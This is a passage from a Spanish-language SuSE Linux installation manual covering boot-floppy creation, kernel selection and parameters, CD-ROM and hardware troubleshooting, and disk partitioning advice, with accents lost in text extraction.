Si resulta til el disquete estndar suministrado con SuSE Linux, se procede
de la siguiente manera, suponiendo que se encuentra en el directorio del CD:
Q:> dosutils\rawrite\rawrite disks\eide01
El asunto se complica un poco si se necesita un kernel SCSI especial. En
tal caso se copia primero la imagen estndar de SCSI en el disquete (usando
rawrite), sobreescribiendo posteriormente el kernel del disquete con el kernel
SCSI especial (p. ej. scsi05.ikr):
Q:> dosutils\rawrite\rawrite disks\scsi01
Q:> copy suse\images\scsi05.ikr a:\linux

2.7.3 Crear un disquete de arranque bajo Unix

Requisito
Unix/Linux soporta el lector CD-ROM y se necesita un disquete formateado.

Paso por paso : : :

Para crear el disquete de arranque se procede de la siguiente manera:

1. Si an falta formatear el disquete:


tierra: # fdformat /dev/fd0u1440
2. Montar el primer CD (Disk 1); p. ej. hacia /mnt:
tierra: # mount -tiso9660 /dev/cdrom /cdrom

3. Entrar al directorio disks en el CD:


tierra: # cd /cdrom/disks

4. Generar el disquete de arranque con:


tierra: # dd if=/cdrom/disks/eide01 of=/dev/fd0 bs=8k

Los ficheros LIESMICH (en alemn) y README en el directorio disks,


as como el apartado 2.7.4, Pgina 50, indican las capacidades de cada
kernel.
5. Si se necesita un kernel diferente, se hace lo siguiente:
tierra: # dd if=/cdrom/disks/scsi01 of=/dev/fd0 bs=8k
tierra: # mount -t msdos /dev/fd0 /mnt
tierra: # cp /cdrom/suse/images/scsi05.ikr /mnt/linux
tierra: # umount /mnt

49
2. La primera instalacin de SuSE Linux

2.7.4 Seleccin del Kernel


Durante la instalacin se debe seleccionar un kernel que haga funcionar la
sistema durante el proceso de la instalacin y tambin algn tiempo despus.
Este kernel debe contener drivers que sirvan entre otras cosas para la red, el
disco duro y el lector CD-ROM, as que se entiende la necesidad de tener un
kernel apto para el sistema.
El CD contiene varios kernels, que existen en formato de imgenes para dis-
quetes de arranque tal como en formato de fichero para loadlin. Estos kernels
representan un compromiso entre cobertura amplia de hardware y tamao.
Posteriormente se podr generar un kernel hecho a medida del sistema.
El disquete suministrado o bien el CD 1, sirven para la instalacin en casi
todas las circunstancias. Solamente si el kernel del disquete o del CD no
es capaz de reconocer correctamente el hardware, se debe probar otro de
los disquetes. Puede obtenerse informacin en lnea sobre la configuracin
de los kernels en el programa setup.exe o mediante los ficheros /disks y
/suse/images que se encuentran en el primer CD.
Para asegurar un soporte del hardware lo ms amplio posible, se instala un
kernel modularizado sobre el sistema, que contenga solamente los drivers
esenciales para arrancar. De tal manera existen tres kernels para computa-
doras que solo se basan en (E)IDE, as como varios kernels para mquinas
con adaptadoras SCSI. El kernel daemon cargar drivers adicionales segn
necesidad.
Si se presentaran problemas con esto, se debe asegurar que el hardware est
correctamente especificado en el fichero /etc/conf.modules.

2.7.5 Parmetros del kernel


Cuando se haya elegido un kernel adecuado, es necesario averiguar si se
necesitan parmetros que representen la va de comunicacin hacia los drivers
dentro del kernel. Se pueden alcanzar diferentes metas con los parmetros:
 Proporcionar informacin al kernel sobre el tipo de hardware usado y
cmo comunicarse con ello (p. ej. rango de memoria, nmero de interrup-
cin, etc.). A veces el driver es capaz de averiguar esto por s mismo pero
resulta ms seguro y rpido tomar la iniciativa.
 En casos problemticos se puede conseguir un buen funcionamiento del
sistema Linux usando parmetros especiales.
Es posible indicar parmetros del kernel durante el arranque con loadlin,
LILO o Syslinux (como p. ej. en el disco de arranque). Tambin se pueden
indicar parmetros usando el disquete de arranque de SuSE, cuyo kernel carga
los drivers como mdulos pero su modo de anotar los parmetros es diferente.
Siempre se tendr que indicar los parmetros del kernel en cada arranque ya
que desafortunadamente el kernel "no aprende". Despus de la instalacin,
se pueden anotar los parmetros del kernel en los ficheros /etc/lilo.conf
y /etc/conf.modules con lo cual se ven resueltos automticamente por
LILO y modprobe.
Para saber qu parmetros existen y cmo deben ser indicados, consulte el
apartado 14.3.2, Pgina 319 y el apartado 14.3.4, Pgina 333.

50
2.7. Bloques de informacin

2.7.6 Linux soporta mi lector CD-ROM?


Se puede decir que por lo general, Linux soporta la mayora de los lectores
CD-ROM.
 No se debe presentar ningn problema usando lectores del tipo ATAPI.
 En el caso de lectores tipo SCSI solo importa que la controladora SCSI,
que lleva la conexin al CD-ROM, tenga soporte por parte de Linux. Hay
una lista de controladoras soportadas en el banco de datos de componentes
CDB (paquete cdb, serie doc o bien en http://www.suse.de/cdb/).
Si no encontrara soporte para su controladora SCSI y el disco duro est
conectado a la misma, tal cual tiene un problema :-(
 Tambin hay muchos lectores CD-ROM propietarios que funcionan con
Linux. No obstante, pueden presentarse problemas con este grupo de
dispositivos. Si no se menciona explcitamente su lector, se puede probar
con uno similar del mismo fabricante.
 Ya son bastante comunes los lectores CD-ROM en el puerto paralelo.
Lamentablemente no existe ningn estndar para esta clase de disposi-
tivo, lo que ocasiona problemas con frecuencia. SuSE Linux incluye una
serie de drivers en estado Alpha para algunos de estos lectores. Si no fun-
ciona ningn driver solo queda el desvo por la particin DOS. Tngase en
cuenta que existen algunos lectores soportados por Linux, que solo fun-
cionan cuando han sido inicializados por el driver de DOS, efectuando
despus un arranque en caliente.

51
2. La primera instalacin de SuSE Linux

2.8 Descripcin de problemas

2.8.1 Ficheros inamovibles

Los programas de defragmentacin generalmente no mueven los ficheros que


tengan los atributos sistema o escondido (ingl. system, hidden). Para
averiguar cules son los ficheros "culpables"se puede generar con el coman-
do:
attrib \*.* /s > < nombre-lista>
una lista del nombre <nombre-lista> de todos los ficheros en el disco duro.
En esta lista se pueden identificar los ficheros y hacerlos movibles con el
comando
attrib -S -H < nombre-fichero>
Conviene disponer un poquito de mano izquierda para no romper ningn
fichero de proteccin de copia, ninguno de intercambio ni algn fichero es-
pecial de sistema. Despus de la defragmentacin se recomienda restablecer
los atributos.

Bajo Windows se puede usar para tal fin el Administrador de ficheros o


bien el Explorador.

Si esto no resulta hay que tragar grueso y modificar realmente las particiones
del disco. Esto conlleva, en especial, la necesidad de salvar todos los datos
para poder instalarlos otra vez despus de haber particionado. Tambin se
podra conseguir un disco nuevo; tal vez favorezcan los precios que se en-
cuentran en continuo descenso : : :

2.8.2 La distribucin del teclado en modo MS-DOS no es correcta

Introducir en modo DOS el siguiente comando:


loadhigh keyb esc:\windows\command\keyboard.sys
o se introduce directamente en el fichero autoexec.bat. Si el directorio de
Windows tiene otro nombre, se debe modificar el path indicado con el nombre
correspondiente.

2.8.3 No hay driver de CD-ROM en modo MS-DOS

En modo MS-DOS solamente se tiene acceso a los drivers que fueron carga-
dos por los ficheros config.sys y autoexec.bat. Tiene sentido renunciar
a los drivers CD-ROM (y a otros), ya que Windows 95/98 incorpora sus pro-
pios drivers. Para poder usar los drivers en el modo MS-DOS es necesario
generar un enlace a la interfaz de comandos MS-DOS y crear unos ficheros
de arranque propios eligiendo `Propiedades', ficha Avanzado, marcando
`Modo MS-DOS' y `Especificar nueva configuracin de MS-DOS'.
Estos ficheros de arranque para la ventana MS-DOS deben contener los co-
mandos para cargar los drivers.

52
2.8. Descripcin de problemas

2.8.4 El CD es defectuoso
En realidad esto es muy poco probable, pero evidentemente no se puede
descartar por completo esta posibilidad.

2.8.5 Un lector CD-ROM ATAPI se traba leyendo


Cuando no se reconoce bien un lector CD-ROM ATAPI o l mismo se traba
leyendo, en muchos casos se debe a un fallo en la conexin. Normalmente
todos los dispositivos que se conectan al bus (E)IDE deben estar conectados
en fila, es decir, que el primer dispositivo es el master en el primer canal y
el segundo es el esclavo. El tercer dispositivo debe ser entonces master en el
segundo canal y el cuarto all el esclavo.
En realidad resulta que muchas computadoras solamente contienen un disco
duro y un CD-ROM que se encuentra entonces como master en el segundo
canal. A veces Linux no maneja bien este vaco. Muchas veces se puede ayu-
dar al kernel introduciendo un parmetro adicional (hdc=cdrom, ver tambin
apartado 14.3.2, Pgina 319).
Tambin puede ocurrir que un dispositivo tenga los jumpers mal colocados;
esto quiere decir que est configurado como esclavo pero se encuentra como
master en el segundo canal o viceversa. En caso de duda es recomendable
comprobar y eventualmente corregir estas configuraciones.
A parte de esto, existe una serie de chipsets EIDE defectuosos. En gran
parte ya se conocen y el kernel contiene cdigo para solventar los problemas.
Existe un kernel especial para estos casos y sus parmetros se detallan en el
apartado 14.3.2, Pgina 319 y en el Captulo 13, Pgina 309.

Si no se puede arrancar en un principio, se puede probar con los sigu-


ientes parmetros del kernel. Deben ser introducidos en el prompt de
arranque:
boot: linux <Parmetro a introducir>
Atencin:
No olvide el nombre del kernel (linux) por delante de los parmetros!

hd<x>=cdrom - x
< > simboliza a,b,c,d... y tiene el siguiente
significado:
 a - Maestro en la 1a controladora IDE
 b - Esclavo en la 1a controladora IDE
 c - Maestro en la 2a controladora IDE
 :::

Ejemplo para <Parmetro a introducir>: hdb=cdrom


Con este parmetro se puede indicar al kernel donde est el lector
CD-ROM del tipo ATAPI si es que el kernel no lo encuentra por
s mismo.
ide<x>=noautotune - x
< > vale 0,1,2,3 y tiene el siguiente sig-
nificado:
 0 - 1a controladora IDE

53
2. La primera instalacin de SuSE Linux

 1 - 2a controladora IDE
 :::

Ejemplo para <Parmetro a introducir>: ide0=noautotune


Este parmetro ayuda en muchas ocasiones en combinacin con
discos duros del tipo (E)IDE.

En el apartado 14.3.2, Pgina 319 se pueden encontrar parmetros del


kernel adicionales, para los problemas relacionados con hardware SCSI
o con tarjetas de red.

2.8.6 Dificultades con lectores CD-ROM en el puerto paralelo

El programa linuxrc ofrece durante la instalacin todos los drivers disponibles.


Por lo general no hace falta vigilar ningn comportamiento especial.
Lamentablemente existen muchos lectores que an no tienen soporte (p. ej.
los de Freecom). Incluso es posible que existan lectores que son iguales
segn sus etiquetas, pero que unos funcionan y otros no. Aparentemente los
fabricantes han cambiado caractersticas internas sin notificacin, usando otro
nmero de serie : : :
Algunos lectores deben ser inicializados con el driver de DOS antes de ser
usados con Linux:

1. Arranque DOS y deje cargar el driver del CD-ROM.


2. Introduzca el disquete de arranque de Linux.
3. Efecte un arranque en caliente.

Si realmente no hay soporte para el lector CD-ROM sigue siendo necesario


hacer el rodeo, pasando por la particin DOS (ver apartado 2.5, Pgina 37).
Para informarse sobre el estado actual de la programacin del puerto paralelo
bajo Linux, consulte http://www.torque.net/linux-pp.html.

2.8.7 Problemas con lectores CD-ROM propietarios

Para los lectores CD-ROM de Mitsumi hay diferentes drivers! Estos drivers
especiales de Mitsumi estn destinados concretamente al uso con lectores
antiguos que se conectan a su propia controladora (p. ej. LU-005 o FX-
001). En caso de lectores ms recientes (como FX-400) hay que seleccionar
la opcin `ATAPI EIDE'!
Lo mismo es vlido para los lectores de Sony y Aztech.
La nica diferencia entre el driver Mitsumi MCDX y el normal es que,
el primero es capaz de leer CDs de multisesin, as que en realidad para la
instalacin no importa cul de los dos drivers se usa. No obstante, hemos
decidido ofrecer este driver, explcitamente, porque podran existir casos en
los que uno de ellos funciona y el otro no y por lo tanto vale la pena mantener
abiertas todas las posibilidades.

54
2.8. Descripcin de problemas

2.8.8 Thinkpad se duerme durante la instalacin


En cualquier momento durante el arranque se abandona el programa :-(
An no existe una solucin estndar. Un camino factible para los modelos
antiguos es la instalacin desde DOS, utilizando setup.exe y cargando Linux
con loadlin (ver el apartado 2.6, Pgina 41).
A lo largo del tiempo nos han llegado los siguientes consejos; de hecho
siempre estamos interesados en sus comentarios:
 Apagar en la BIOS todas las caractersticas de ahorro de energa; las pal-
abras clave aqu, son: suspend mode, power management, sogsleep
features.
 Arrancando desde DOS, cargar el driver CD-ROM en config.sys con la
opcin /S (parece indicar sleep). Esto se hace con el siguiente comando,
en el cual se colocan los correspondientes valores en <drive> y <path>.
DEVICE = <drive>:\<path>\IBMTPCD.SYS /S

 Evitar accesos a la disquetera durante la instalacin.

2.8.9 loadlin necesita ms memoria para cargar el kernel


No tiene suficiente memoria por debajo de los 640 KB. Se puede tratar de
excluir algunos drivers de los ficheros de arranque del sistema (config.sys,
autoexec.bat) o de cargarlos a la memoria alta.
Si hay unidades comprimidas bajo Windows 95/98 y la carga de drivers a
memoria alta no funciona, se deben descomprimir entonces las unidades que
lo estn.

2.8.10 loadlin no funciona


Si hay algn problema con loadlin se puede usar el comando loadlin con
las opciones -v, -t o -d. Lo mejor para escribir la informacin del debug al
fichero debug.out es usar:
C:\> loadlin -d debug.out <parmetros adicionales>
este fichero se puede enviar al soporte de SuSE. Para <parmetros
adicionales> se debe introducir algo de la propia configuracin de sistema
(ver el apartado 4.9.1, Pgina 130).

2.8.11 DOS se encuentra en modo protegido


loadlin solo puede arrancar el kernel cuando la computadora funciona ya sea
en modo real o bien en el modo virtual del 8086 con un servidor VCPI al al-
cance. Si se trabaja ahora bajo Windows 95/98, se debe llevar la computadora
al modo MS-DOS.
 Para hacerlo, se debe ir primero al botn `Inicio', `Apagar sistema',
`Reiniciar equipo en modo MS-DOS' o
 generar un enlace con la interfaz de comandos MS-DOS y modificar
las propiedades de la siguiente manera: en `propiedades' seleccionar
`Avanzado' y marcar all `MS-DOS-Modus'. Cuando la interfaz de co-
mandos arranca, la computadora cambia a modo MS-DOS.

55
2. La primera instalacin de SuSE Linux

2.8.12 Fallo usando mke2fs


Este fastidioso problema aparece pocas veces; lamentablemente solo se puede
remediar moviendo el final de la particin en cuestin uno o dos cilindros
hacia adelante o hacia atrs. Naturalmente habr que adaptar tambin el
comienzo de la siguiente particin.

2.8.13 La disquetera de 3.5 pulgadas est conectada como B: y no es


arrancable
En principio solo es posible arrancar un PC desde la primera disquetera (A:
bajo MS-DOS). Adems, esta disquetera debe estar marcada como activa en
la BIOS, sino se arranca desde el disco duro.
Si hasta ahora se ha usado la disquetera como B:, se tendrn que cambiar las
conexiones de ambas disqueteras (la de 5.25 y la de 3.5):
 Apagar la computadora y abrir su caja.
 Buscar el cable ancho de datos que conecta las disqueteras con la contro-
ladora.
 El cable de datos contiene normalmente 2 juegos de enchufes, un par para
cada disquetera. De cada par de enchufes se usa solamente uno, porque
las disqueteras de 5.25 y 3.5 tienen conectores diferentes. Ahora se deben
cambiar las dos conexiones, cable de datos disquetera y usar cada vez
el enchufe correspondiente. Si esto no funciona porque los cables no
alcanzan, no hay remedio: se tendr que cambiar adicionalmente las dos
disqueteras en la caja de la computadora.
 Si solo hay dos enchufes individuales en los cables de datos (y no dos
pares de enchufes), se tendr que conseguir un nuevo cable de datos.
 Atornillar la caja de la computadora y despus de encender, entrar al men
de setup. Cmo llegar all, depende de la BIOS. Una BIOS amigable
muestra la combinacin de teclas en la pantalla. Si este no es el caso, se
 o Supr ).
debe mirar en el manual de la computadora y probar simplemente (pruebe
p. ej. con Del   
 Modificar la posicin de las disqueteras:
Drive A: 1.44 MB, disquete de 3.5
Drive B: 1.2 MB, disquete de 5.25
 Ahora se marca la disquetera como activa. A tal efecto, se entra en
el submen `Advanced CMOS Setup' (o similar). All debera existir
un apartado `System boot-up sequence'. Hacer en ste los ajustes
necesarios para arrancar primero desde A:.
 Guardar las modificaciones y salir del setup.

2.8.14 Cambio de la letra de unidad del lector CD-ROM


En caso de haber generado una particin adicional en el disco duro usando
fips, sta sera del tipo DOS, por lo tanto, se modifican las subsiguientes
letras de unidad y el lector CD-ROM ya no sera p. ej. D: pero tal vez E:.
Esto se normalizar despus de que se cambie el tipo de particin con YaST
y la letra de unidad del lector CD-ROM ser nuevamente D:.

56
2.8. Descripcin de problemas

Si se presentan problemas al abrir el Escritorio o el explorador bajo Win-


dows 95/98, ste an intentar acceder a D: (para mantener el ejemplo).
Por tanto, se debe ajustar la configuracin del sistema modificando las
propiedades del lector CD-ROM.

2.8.15 Problemas generales de hardware


Aparece uno o varios de los siguientes fenmenos:
 Problemas de sincronizacin accediendo al lector CD-ROM (Esperas pro-
longadas, fallos de bus, paradas, fallos de segmentacin (ingl. Segmenta-
tion faults)).
 Fallos que indica el kernel (u otros programas), detenindose con sig-
nal 11 o signal 7.
 Ficheros corruptos.
 Fallo en acceso de memoria.
 Visualizacin incorrecta en modo grfico.
 Error-crc accediendo la disquetera.
 Paradas o cuelgues durante el proceso de arranque.
 Fallos creando los sistemas de ficheros (p. ej. mke2fs da errores)
 Fallos creando el rea de intercambio (swap).
 Otra clase de comportamiento extrao accediendo a algn componente
del hardware.

Causas
Los fenmenos extraos mencionados arriba, se deben muy probablemente
a hardware defectuoso o a daos en un punto crtico. Aparentemente hay
algunas placas base con problemas de sincronizacin, que se hacen notar por
errores del bus (la conexin fsica CPU-Memoria-PCI-ISA).
Aunque el hardware trabaje correctamente p. ej. con DOS o con Windows,
esto an no dice nada sobre su estabilidad y configuracin. Es posible que
el hardware funcione bien con el acceso de memoria lento y por segmentos
que realiza la CPU, trabajando en modo real de 16bit (p. ej. bajo DOS o
Windows), pero que tenga problemas con accesos lineales en Bursts de
32bit (como lo realiza Linux).
Otras fuentes de problemas son las CPUs mal refrigeradas o mdulos de
RAM (SIMMs) defectuosos, sensibles al calor o demasiado lentos. La Cach
de segundo nivel puede ocasionar tambin estos efectos.
De todos modos, el origen de estos problemas es el hardware y no Linux;
Linux solamente saca a flote los problemas del hardware.
Tambin es cierto que Linux exige ms a la computadora que otros sistemas
operativos, lo que por una parte aumenta las prestaciones y por otra puede
desencadenar los inconvenientes mencionados. Para Linux es muy impor-
tante encontrar una base de hardware estable, ya que en caso contrario dene-
gara (y con razn!) el servicio. Un sistema operativo que funciona con
hardware dudoso representa un problema de seguridad serio.
Consulte tambin http://www.bitwizard.nl/sig11.

57
2. La primera instalacin de SuSE Linux

Qu hacer entonces?
Existe una serie de parmetros a repasar, que permiten como mnimo
aislar el componente que ocasiona problemas.
 Apagar mediante el Setup de la BIOS (CMOS) la cach interna y/o la
externa.
 Reducir la frecuencia del bus (para el VLB no ms de 40 MHz, para el
PCI-bus segn la especificacin un mximo de 66 MHz de frecuencia
externa), modificando el Setup de la BIOS o los jumpers sobre la placa
base.
 Aumentar los Waitsates del acceso de CPU a la memoria o a la cache
mediante modificaciones de la BIOS.
 Verificar si la opcin `15-16M Memory Hole' est activa en el Setup de
la BIOS; si es as, desactvela! Linux no cuenta con estos huecos.
 En (Advanced) Chipset Setup configurar `CAS before RAS' si existe
esta opcin en el Setup de la BIOS.
 Comprobar los mdulos de memoria:
Chips de RAM diferentes (especialmente en un banco de memoria)
son posibles fuentes de error. Es mejor evitar las mezclas.
Para un PCI bus con 66 MHz, los mdulos de DRAM deben ser como
mximo de 60s (o mejor menos), no hacer overclocking.
El zcalo y la fijacin de los SIMMs o DIMMs deben calzar perfec-
tamente y no deben estar flojos ni mal alineados. Si no est seguro,
saque los mdulos y colquelos de nuevo, comprobando que no haya
corrosin ni suciedad en los contactos.
Cambie el orden de los mdulos en los bancos de memoria.
 Comprobar el funcionamiento del ventilador de la CPU y su correcta fi-
jacin sobre la misma; en caso de duda se puede usar pasta de conductivi-
dad de calor (silicona).
 Apagar mediante el Setup de la BIOS las funciones de ahorro de energa
(Power-Management (APM)). Se trata de una fuente de error especial-
mente observada en conjunto con la controladora Adaptec 2940.
 Algunas CPUs que no son Pentium originales de Intel pueden causar
problemas, cuando el kernel o el compilador han sido optimizados para
Pentium (p. ej. un K6 o un Cyrix 6x86). En tal caso, optimice como mx-
imo para procesadores del tipo 486 o incluso solo para 386; como ltimo
recurso use el kernel estndar de SuSE (ver apartado 3.7.2, Pgina 93).
 Comprobar en el Setup de la BIOS las configuraciones generales y usar
en caso de necesidad las configuraciones por defecto `BIOS-Defaults'.
 Si la BIOS es defectuosa el nico remedio es hacer una actualizacin.
Consulte al vendedor o al fabricante de la placa base.
 La fuente de alimentacin no tiene suficiente potencia o el voltaje oscila;
pruebe de apagar o desconectar algunos dispositivos.
 No usar Busmaster-DMA, denominado tambin UDMA o Ultra-
DMA. Mantenga los cables-EIDE cortos y adquiera unos de buena cali-
dad.

58
2.9. Particionar para principiantes

2.9 Particionar para principiantes


A los principiantes en el uso de Linux y del sistema de ficheros, se les podra
presentar las siguientes preguntas: Cunto espacio hay que proporcionar a
Linux? Cul es el mnimo? Cunto debera ser? Cul es la cantidad
razonable? Cmo particionar el espacio?

Tipos de particin en el PC
Cada disco duro contiene una tabla de particiones con espacio para cuatro
entradas, de las cuales solo una puede ser una particin extendida y el resto
primarias o todas podran ser primarias.
La esencia de las particiones primarias es relativamente simple pues se trata
de una zona continua de cilindros, que est asignada a un sistema operati-
vo. Con particiones primarias, solamente se puede establecer un mximo de
cuatro; no caben ms en la tabla de particiones.
Aqu comienza el concepto de la particin extendida, la que tambin se repre-
senta como una zona continua de cilindros. Sin embargo, es posible dividir la
particin extendida en particiones lgicas, que no necesitan una entrada en la
tabla de particiones. Se puede decir que se trata de una especie de contenedor
para las particiones lgicas.
Si se necesitan ms de cuatro particiones es necesario definir la cuarta como
particin extendida y asignar a ella todos los cilindros libres. En esta se
pueden generar entonces casi tantas particiones como se desee (el mximo
se sita en 15 para discos SCSI y en 63 para discos (E)IDE).
A Linux no le importa en cul tipo de particin (primaria o lgica) est
instalado.

Decidirse : : :
Comenzamos con lo realmente importante: 80 MB, pero hablando de un uso
especial de la computadora, solamente trabajando en la consola sin sistema X
Window. Con la idea de usar X y algunas pocas aplicaciones hay que calcular
con 200 MB; ambos casos incluyen la zona de intercambio (swap).
Cunto debera ser? Alrededor de 500 MB. En el mundo de los discos de
gigabytes no es pedir demasiado. Esta cantidad incluira el espacio de swap
pero sin lmite superior.
Qu cantidad tiene sentido? Depende de lo que se quiera:
 Trabajar bajo X Windows con aplicaciones modernas como Applixware
y Netscape necesita entre 700 MB y 1 GB.
 Desarrollar con Linux pequeas aplicaciones en el entorno del Sistema
X Window tambin requiere aprox. 700 MB a 1 GB.
 Las dos modalidades anteriores: 1,5 GB
 Compilar servidores X propios, grabar CDs propios y lo anterior: 4 GB.
 Accionar un servidor FTP o de Internet: 500 MB sistema base + infinito.
Cmo particionar el espacio? Esta es una pregunta sencilla cuya respues-
ta no lo es.

59
2. La primera instalacin de SuSE Linux

Con la robustez que ha alcanzado el sistema de ficheros Linux, no es mala


idea especialmente para principiantes seguir la estrategia de YaST:
Prepare una particin pequea al comienzo del disco para /boot (como
mnimo 2 MB, en caso de discos grandes 1 cilindro), una particin para la
zona de intercambio (Swap) de 64 a 128 MB y el resto para /.

Si se desea hacer algunas particiones pero no muchas, vale lo siguiente:


 Hasta cerca de 500 MB: Una particin swap y una particin de root (/).
 De 500 MB hasta 1,2 GB: Una particin pequea para el kernel y para
LILO al comienzo del disco duro (/boot) con cerca de 5-10 MB o bien
un cilindro; la particin swap y el resto para la particin de root (/).
 A partir de 1,2 GB: Boot (/boot, swap, root (180 MB)), home (/home
con cerca de 100 MB) y el resto para programas (/usr); tambin podra
ser una particin para /opt (ver Pgina 60).

Para arrancar Linux directamente desde el disco duro, se necesita entonces


una particin Linux por debajo del lmite de 1024 cilindros como parti-
cin de arranque (al respecto, leer el apartado 4.3, Pgina 109 y el aparta-
do 4.8.2, Pgina 126). Este tema no tiene importancia si se arranca Linux
desde DOS/Windows con loadlin. Desde la versin 6.0 de SuSE Linux, la
particin de arranque es generalmente la particin boot (/boot).

Se debe tener en cuenta que algunos programas generalmente comerciales


instalan sus datos bajo /opt, as que es conveniente generar una particin
propia para /opt o bien hacer la particin root ms grande. En particular se
trata de los paquetes y demostraciones listados en la Tabla 2.1. El requerim-
iento de espacio indicado en la tabla es algo superior que el real. Tambin se
indican programas que no se distribuyen con SuSE Linux.

2.10 Particionar para avanzados


En el apartado anterior tal como en el apartado 2.11.1, se ha comentado
brevemente sobre cmo particionar el sistema. El presente apartado quiere
proporcionar informacin detallada con la cual se pueda crear un esquema de
particin optimizado para el sistema. Es adems especialmente interesante
para aquellos que quieran configurar el sistema de manera ptima, respecto a
seguridad y velocidad y que estn segn las circunstancias dispuestos a
crear todo desde cero. Arrasar con todo, esa es la idea!
Es fundamental entender el modo de funcionar de un sistema de ficheros
UNIX. En particular, los conceptos del punto de montaje (Mountpoint) tal
como los de las particiones lgicas y extendidas, se deben haber entendido.
Al principio es importante destacar que no existe un solo camino ptimo para
todos pero que s existen muchos caminos buenos para cada uno. No hay
de qu preocuparse, ya que tambin habr reglas y cifras concretas en este
apartado.
Como primer paso, se debe reunir la siguiente informacin:
 Cul es el rea de uso de su mquina (servidor de ficheros, Compute-
Server, estacin de trabajo?

60
2.10. Particionar para avanzados

KDE 170 MB
GNOME 70 MB
htdig 5 MB
dochost con text-bsqueda htdig 200 MB
Wabi 10 MB
Netscape 35 MB
Arcad 350 MB
Applixware 400 MB
Eagle 18 MB
StarOffice 150 MB
Cyberscheduler Software 30 MB
Cygnus Source-Navigator 20 MB
SNiFF+ 45 MB
Insure++ 45 MB
pep 18 MB
Oracle 8 400 MB
Sybase Adaptive Server Enterprise 170 MB
virtuoso OpenLink Virtuoso Lite Edition 55 MB

Tabla 2.1: Paquetes bajo /opt

 Cuntas personas trabajarn en la computadora (contado en logins si-


multneos)?
 Cuntos discos duros tiene la computadora, cul tamao tienen y cul
interfaz (EIDE, SCSI o incluso una controladora RAID)?

2.10.1 El tamao de la particin de intercambio (swap)


Todava se puede leer en muchas partes: La cantidad de Swap debe ser
como mnimo el doble de la de RAM. Esta regla pertenece al tiempo en
el cual 8 MB de RAM eran suficientes. Estos tiempos han pasado. La
persona que compra hoy en da una computadora con menos de 16 MB ha
sido muy mal aconsejada. Volviendo a la regla anterior: El fin era conseguir
una computadora con cerca de 30 a 40 MB de memoria virtual
Con las aplicaciones modernas, hambrientas de memoria, hay que corregir
estos valores hacia arriba. Normalmente 64 MB de memoria virtual es su-
ficiente, pero es mejor no ser tacao con ello. Compilando el kernel en el
entorno X-Window y mirando las pginas de ayuda con Netscape mientras
que en algn lugar se ejecuta Emacs, entonces con 64 MB de memoria virtual
se est sin muchas reservas.
Esto significa que el usuario normal se encuentra en el lado seguro con 96 MB
de memoria virtual. Lo que no se debera hacer, bajo ningn pretexto, es
no proporcionar ningn tipo de memoria swap. Incluso una mquina con
256 MB RAM debera tener una zona de swap. La razn para ello se detalla
en el apartado 2.10.3.
Tambin es posible que se ejecuten simulaciones con gasto de memoria del
orden de gigabytes. Si existen dudas acerca de si Linux puede soportar o no

61
2. La primera instalacin de SuSE Linux

semejante carga, se aconseja leer el apartado 2.10.2 (tipo de uso: Compute-


Server).

2.10.2 Formas de uso de la computadora

Como estacin de trabajo:


Este es el tipo de uso ms frecuente de una computadora con Linux. Para
poder orientarse con valores concretos, hemos compilado un par de configu-
raciones de ejemplo, que pueden ser usadas segn necesidad, en la casa o en
la empresa. Los espacios requeridos para un determinado tipo de instalacin
se encuentran en la Tabla 2.2

Instalacin Espacio necesario en disco


mnimo 80 MB hasta 200 MB
pequeo 200 MB hasta 500 MB
mediano 500 MB hasta 1,2 GB
grande 1,2 GB hasta 3 GB

Tabla 2.2: Ejemplos de tamaos de instalacin

Naturalmente estos valores suben si se quiere guardar ficheros adicionales


aparte de los propios del sistema.

Servidor de impresin/Router
Suponiendo que no est dispuesto a tirar su antiguo 386 SX 20 con su disco
duro de 80 MB. Simplemente particione el disco en una particin swap de
16 MB y el resto para la particin / (root). La pequea computadora todava
puede servir como Firewall o Gateway hacia Internet; no debera existir ac-
ceso a ella para nadie a parte del superusuario `root'.

Estacin de trabajo estndar (pequea)


Le sobra un disco duro de alrededor de 500 MB y lo quiere usar para Linux.
En este caso genere una particin de swap de 32 a 40 MB y reserve el resto
para la particin root /.

Estacin de trabajo estndar (promedio)


Le quedan 1,2 GB libres para Linux. Genere una particin de arranque pe-
quea /boot (5-10 MB o un cilindro), 180 MB para /, 64 MB para el swap,
100 MB para /home y el resto para /usr; no olvide la zona para /opt (ver
el apartado 2.9, Pgina 60). Para la determinacin del tamao de la particin
root, vigile el hecho de que el banco de datos RPM se coloca en /var!

Estacin de trabajo (lujo)


Si tiene 1,2 GB o incluso ms en varios discos, entonces no existe ninguna
forma global de particionar. A este respecto consulte apartado 2.10.3.

62
2.10. Particionar para avanzados

Como servidor de ficheros:


Aqu todo depende realmente de las prestaciones del disco duro. En todo
caso, son preferibles los discos duros tipo SCSI. Tambin vale la pena tener
en cuenta la potencia del disco (SCSI, SCSI Ultra Wide, revoluciones, etc.) y
de la controladora.
Un servidor de ficheros ofrece la posibilidad de almacenar datos de manera
centralizada. Se puede tratar de home directories (directorios de usuario),
de un banco de datos o de otros ficheros diversos. La ventaja es bsicamente
una administracin simplificada.
Si el servidor de ficheros debe trabajar en una red amplia (a partir de 20 usuar-
ios) la optimizacin del acceso al disco es esencial.
Supongamos que se quiere construir un servidor de ficheros a base de Linux
para servir con los directorios personales a 25 usuarios. Se calcula que cada
usuario ocupar un mximo de 80 MB para sus datos personales. Un disco
duro de 2 GB para montar /home es suficiente, suponiendo que los usuarios
no siempre compilan en su directorio personal (home).
Con 50 usuarios, el simple clculo indica que es suficiente con 4 GB. En
realidad resulta mejor montar /home en dos discos de 2 GB, porque estos se
distribuyen entre s la carga y el tiempo de acceso.

Uso como Compute-Server:


Un Compute-Server es generalmente una computadora potente que se encarga
de tareas de clculo grandes en una red. Tpicamente una mquina de estas
caractersticas tiene mucha memoria (a partir de 256 MB). El cuello de botella
se encuentra aqu, en las particiones de swap. En este caso tambin cuenta
que es mejor distribuir varias particiones swap en varios discos7 .

2.10.3 Posibilidades de optimizacin


Generalmente los discos duros son el factor limitante. Existen dos diferentes
posibilidades (que se deben usar juntas) para pasar por ese cuello de botella:

 Distribuir la carga de manera equilibrada en varios discos.


 Equipar el servidor de ficheros con suficiente memoria (mnimo 64 MB).

Paralelizar con varios discos


Hay que explicar el primer mtodo con ms detenimiento. El tiempo total
que transcurre hasta que se pueden proporcionar los datos pedidos a un disco,
se constituye (aproximadamente) de las siguientes fases:
1. tiempo, hasta que el pedido est en la controladora.
2. tiempo, hasta que la controladora enve este pedido al disco duro.
3. tiempo, hasta que el disco duro posiciona su cabezal.
